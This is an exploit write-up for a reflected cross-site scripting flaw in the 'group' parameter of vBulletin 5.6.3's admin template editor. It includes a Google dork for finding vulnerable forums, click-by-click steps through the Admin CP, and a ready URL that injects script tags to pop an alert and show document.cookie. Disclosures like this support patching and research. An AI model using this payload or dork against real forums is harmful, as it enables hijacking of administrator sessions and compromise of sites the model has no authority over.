vBulletin 5.6.3 – ‘group’ Cross Site Scripting
# Exploit Title: vBulletin 5.6.3 - 'group' Cross Site Scripting # Date: 05.09.2020 # Author: Vincent666 ibn Winnie # Software Link: https://www.vbulletin.com/en/features/ # Tested on: Windows 10 # Web Browser: Mozilla Firefox & Opera # Google Dorks: "Powered by vBulletin® Version 5.6.3" # Blog: https://pentestvincent.blogspot.com/2020/11/vbulletin-563-admin-cp-multiple.html Go to the "Admin CP" - click on "Styles" - click "Style Manager" - Choose "Denim" or other theme and choose action "Add new template" and click "Go". Put on the title "1" and template "1" and "Save and Reload". Now you can catch the new URL with HTTP Live Headers or with hands. So..we have Url : https://localhost/admincp/template.php?templateid=608&group=&expandset=&searchset=&searchstring=&do=edit&windowScrollTop=168&textareaScrollTop=0 Test it with hands and get cross site scripting. Use for tests different browsers. I use Mozilla Firefox and Opera. https://localhost/admincp/template.php?templateid=1&group=""><script>alert("Cross Site Scripting")</script><script>alert(document.cookie)</script>&expandset=&searchset=&searchstring=&do=edit&windowScrollTop= Picture: https://imgur.com/a/b6gH5Fn |